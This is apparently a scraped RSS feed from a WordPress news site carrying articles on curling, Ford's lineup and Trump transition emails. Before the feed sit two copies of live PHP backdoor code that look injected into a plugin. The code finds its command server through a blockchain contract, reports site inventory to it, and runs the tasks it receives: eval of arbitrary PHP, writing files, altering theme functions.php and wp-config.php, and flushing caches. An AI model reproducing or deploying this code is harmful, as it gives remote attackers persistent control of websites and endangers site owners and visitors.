// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); we&#039re – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 08 Nov 2018 18:32:42 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png we&#039re – Brief News https://briefnews.eu 32 32 Canada first? Marc Kennedy thinks we're exporting too much curling knowledge https://briefnews.eu/canada-first-marc-kennedy-thinks-were-exporting-too-much-curling-knowledge/ https://briefnews.eu/canada-first-marc-kennedy-thinks-were-exporting-too-much-curling-knowledge/#respond Thu, 08 Nov 2018 18:32:42 +0000 http://briefnews.eu/canada-first-marc-kennedy-thinks-were-exporting-too-much-curling-knowledge/ THUNDER BAY, ONT. — Marc Kennedy is back in the place he refers to as "home" — a curling rink. And yet he's never felt as far away from the pebbled sheets as he does right now, sitting on some scaffolding inside the Tournament Centre holding an iPad. 

This week in Thunder Bay, Kennedy is tracking rocks and watching Canadian teams closely as they compete in the third Grand Slam stop of the season.

It's his new gig — national team program performance consultant with Curling Canada. One of this country's finest curlers ever to grace the ice, Kennedy abruptly left the game last spring just weeks after his fourth-place finish at the Olympics with skip Kevin Koe.

"I was away from the game for about four or five months this summer. Completely away," Kennedy says. "Not even having the opportunity to talk curling felt like I lost a limb. It was the longest time away from the game in my life."

And it was needed, according to Kennedy. His body is a mess after spending half of his life obsessively training for the sport he loves. 

The 36-year-old from St. Albert, Alta., was a curling perfectionist in every way imaginable. He would spend countless hours throwing rock after rock. He admits now it was probably to his detriment health-wise. His hip continues to give him trouble. Kennedy has hired a new team of trainers to help him rehab. It's a long, slow grind.

"There's a wear and tear problem in our sport going forward," Kennedy says. "The training for certain aspects of our sport could be better, especially at a younger age."

The focus now for Kennedy is on getting healthy. Then, and only then, will he consider continuing his playing career.

"No one is calling," he says. "I've gotten more calls from the coaching side. I think there's a lot I can give that way."

Export, eh?

More than anything, the time away from curling has allowed Kennedy to reflect on the state of the sport — something he never had time for while he was in the throes of competition. 

And something isn't sitting well with him. 

He thinks Canada is losing ground as it exports more of its coaches and curling know-how abroad.

"In my opinion, the international teams have gotten really, really good with our help," he says. "I don't like seeing our curling knowledge going to other countries."

Kennedy, right, and skip Kevin Koe failed to win a medal at the 2018 Olympics. It was the first time that happened to a Canadian men's curling team. (Toby Melville/Reuters)

Canada had never missed an Olympic podium in curling until this year, when it happened twice. Both the men's and women's teams failed to win a medal in Pyeongchang.

Kennedy wants to make sure that doesn't happen again.

"I think we should be putting more into our own teams. So maybe I did take it personally," he says. 

That's the main reason for Kennedy taking up this position with Curling Canada this season. He says many of the coaches and staff of the sport's national governing body know changes need to be made after the last Olympic performance. 

"Losing forces you to do it, to look in the mirror," Kennedy says. "I think they did. I think there won't be panic but little changes here and there."

They're getting good

You'll be hard-pressed to find someone more passionate about curling than Kennedy. He's lived and breathed the game for years. And he's won everything there is to win in the sport. 

He won Olympic gold with Kevin Martin's rink in 2010. He's captured two world championships and three Briers. Now he's trying to share his curling knowledge with the next wave of Canadian curling champions. 

"The Olympics was an eye-opener for how good the international teams are getting and have gotten," he says. "We grow up expecting our teams to do well and have also taken a leadership role to help other teams in the world develop."

But Kennedy thinks that leadership role might have gone too far. Now it's time to step up the Canadian game, he says. 

"We're still evolving the game and the game has changed so much. The technical part of it is still the biggest part. Throwing a rock pure and straight will always be the most important thing."

While Kennedy navigates this new coaching role, he's still trying to find his identity outside of curling. He's spending more time than ever with his two children and his wife. 

"I have a great thing at home. Being away from them was tough for a long time," Kennedy says. 

And then there's that whole fourth-place finish at the Olympics. Kennedy is still working through that. He says he's never felt more prepared for an event in his life, so he doesn't regret a thing despite the disappointing results.

"Sometimes losing happens for a reason and I wouldn't change any of it," he says. 

Does he still think about those games though? 

"There are a few shots I'd love to have back. That's the nature of curling."

So does he have one more slide left in his competitive curling career?

"No comment," he says with a smile.

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]]> https://briefnews.eu/canada-first-marc-kennedy-thinks-were-exporting-too-much-curling-knowledge/feed/ 0 Ford defends plan to shareholders: ‘We're simply reinventing the American car’ https://briefnews.eu/ford-defends-plan-to-shareholders-were-simply-reinventing-the-american-car/ https://briefnews.eu/ford-defends-plan-to-shareholders-were-simply-reinventing-the-american-car/#respond Fri, 11 May 2018 01:40:28 +0000 http://briefnews.eu/ford-defends-plan-to-shareholders-were-simply-reinventing-the-american-car/

Ford’s top executives took heat from shareholders over their plan to do away with sedans as we know them in Ford’s North American lineup, as the company held its annual meeting Thursday. Critics said the plan to shelve the Fiesta, Focus and Taurus, reduce the Focus to one crossover model, and concentrate on high-margin trucks and SUVs was a shortsighted abandonment of entire market segments of affordable vehicles.

“This doesn’t mean we intend to lose those customers,” Ford CEO Jim Hackett said. “We want to give them what they’re telling us they really want. We’re simply reinventing the American car.”

Ford has said SUVs/crossovers and pickups will constitute 90 percent of its North American lineup by 2020. And though only the Mustang and new Focus Active will remain, it plans to add new vehicles going forward that offer better fuel economy and utility, including EVs and hybrids. Hackett characterized the shift not as an abandonment of traditional cars but as a transformation of them.

“We don’t want anyone to think we’re leaving anything,” Hackett said. “We’re just moving to a modern version. This is an exciting new generation of vehicles coming from Ford.”

It was Hackett’s first annual meeting as CEO, and for the second year it was conducted online rather than in person. The change to Ford’s lineup is part of Hackett’s overall plan to cut $ 25.2 billion in costs by the year 2022.

Executive Chairman Bill Ford Jr. blamed the negative reaction to the lineup plan on media coverage.

“I wish the coverage had been a little different,” he said. “If you got beyond the headline, you’ll see we’re adding to our product lineup and by 2020 we’ll have the freshest showroom in the industry. The headlines look like Ford’s retreating. In fact, nothing could be further from the truth.”

While Ford was clear about its plans for the Blue Oval, it has been less clear about the Lincoln brand. Hackett on Thursday said only that the Lincoln Continental, re-introduced just two years ago, would continue “through its life cycle” — but it has been such a slow seller that rumor has Ford killing the Continental again after that, and Hackett made no mention of a new generation. Presumably the MKZ sedan will go away when its twin the Ford Fusion does, but although Ford has outlined end dates for other models, the Fusion’s departure is open-ended.

The stock price has been a frustration for investors for years and has fallen 12 percent since the first of the year. Bill Ford addressed that sore subject Thursday.

“I share your frustration. The whole management team does,” Ford told shareholders. “Look, we want to get the stock price moving. The business can get fitter, and it will get fitter.”

Despite overall profitability, Ford’s market capitalization of $ 44 billion trails unprofitable Silicon Valley electric car maker Tesla Inc, which has a market capitalization of $ 51.3 billion, a reflection of investor doubts that Ford can re-ignite growth.

But shareholders should expect “fairly large” changes in the coming year, Bill Ford told Reuters.

In addition to lineup changes and cost-cutting, Ford still faces questions about lagging performance in certain regions and calls for more details on its restructuring.

“It could be regions, it could be functions, it could be areas of emphasis,” Bill Ford said in an interview on Tuesday. “We’ve done some big things, and we still have some big things to do.”

The automaker lost $ 4 billion in South America from 2013 through the first quarter of this year, and its chief of global operations said in January it was “exploring every option you can imagine.”

Analysts have also urged an overhaul of European passenger car operations to help Ford reach its 8 percent pre-tax profit margin goal.

Bill Ford said the automaker will be able to use cost savings to return cash to shareholders, invest in new technology and businesses and fund restructuring.”We believe we can take care of all three,” he said.

Voters in Thursday’s meeting once again rejected an annual attempt to remove the Ford family’s special class of shares.

Finally, Ford officials declined to say whether the board of directors, who met this week, had voted to buy and rehabilitate the decrepit and abandoned Michigan Central Station in Detroit’s Corktown neighborhood, part of its plans to buy up other properties and create a large creative campus there.

But Automotive News reported that workers in construction vests and hardhats were spotted Thursday inside the fence surrounding the 500,000-square-foot depot.

Material from Reuters was used in this report

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]]> https://briefnews.eu/ford-defends-plan-to-shareholders-were-simply-reinventing-the-american-car/feed/ 0 So We're Back To Emails 📩 https://briefnews.eu/so-were-back-to-emails-%f0%9f%93%a9/ https://briefnews.eu/so-were-back-to-emails-%f0%9f%93%a9/#respond Sun, 17 Dec 2017 03:07:22 +0000 http://briefnews.eu/so-were-back-to-emails-%f0%9f%93%a9/

A lawyer for the Trump transition team on Saturday accused a federal agency of illegally and unconstitutionally turning over thousands of emails to the Special Counsel’s Office.

Specifically, the General Services Administration (GSA) turned over emails written during the transition — the period between Election Day 2016 and Inauguration Day 2017 — and the Trump campaign is claiming in a letter that the decision violated the law.

Fox News first reported the existence of the letter, following an Axios report about the emails having been obtained by Special Counsel’s Office.

The GSA — which is responsible under law for providing the presidential transition with office space, supplies like phones and laptops, and “ptt.gov” emails — was instructed after the transition had ended and President Trump had taken office to preserve records from the transition in connection with ongoing investigations.

In a seven-page letter sent to congressional committee leaders on Saturday, a lawyer for the Trump campaign, Kory Langhofer, wrote, “We understand that the Special Counsel’s Office has subsequently made extensive use of the materials it obtained from the GSA, including materials that are susceptible to privilege claims.”

According to the letter, the Mueller investigation requested, in a pair of August letters, “the emails, laptops, cell phones, and other materials” for nine transition team members working on “national security and policy matters” and four other “senior” transition team members.

Langhofer argues in the letter that decision by GSA officials went against what he calls “the GSA’s previous acknowledgement concerning” the Trump campaign’s “rightful ownership and control of” transition team materials.

